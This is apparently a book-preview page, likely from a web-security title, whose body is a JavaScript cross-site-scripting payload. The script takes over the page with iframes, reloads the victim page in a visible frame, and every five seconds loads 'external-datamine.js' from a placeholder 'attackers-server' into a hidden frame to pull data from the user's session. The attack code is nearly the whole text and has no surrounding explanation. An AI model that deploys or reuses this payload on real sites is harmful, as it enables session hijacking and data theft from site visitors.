August 2009
Beginner
298 pages
9h 5m
English
document.write('<body onload=pingback()>');
var randomnumber=Math.floor(Math.random()*1000001);
function pingback()
{
var bigframe=document.documentElement.innerHTML;
iframeHTML='<IFRAME NAME="myFrame" iframe id="myFrame"
width="50%" height="50%" scrolling="auto" frameborder="0"></IFRAME>';
iframeHTML+='<IFRAME NAME="myFrame2" iframe id="myFrame2"
width="0%" height="0%" scrolling="auto" frameborder="0"></IFRAME>';
iframeHTML+='<IFRAME NAME="myFrame3" iframe id="myFrame3"
width="50%" height="50%" scrolling="auto" frameborder="0"></IFRAME>';
document.body.innerHTML=iframeHTML;
setInterval('controlFrameFunction()',5000);
var victimFrame = document.getElementById('myFrame');
var newVictimContents =
bigframe.replace("external-spot.js","noresponse.js");
var newVictimFrame = victimFrame.contentWindow.document;
newVictimFrame.open();
newVictimFrame.write(newVictimContents);
newVictimFrame.close();
}
function controlFrameFunction()
{
var controlFrameHTML = "<html><body>";
controlFrameHTML += "</script>";
controlFrameHTML += "<script
src='http://attackers-server/external-datamine.js?trigger="+randomnumber+"'>";
controlFrameHTML += "</script>";
var controlFrame = document.getElementById('myFrame2');
var controlContents = controlFrameHTML;
var newControlContents = controlFrame.contentWindow.document;
newControlContents.open();
newControlContents.write(controlContents);
newControlContents.close();
}Read now
Unlock full access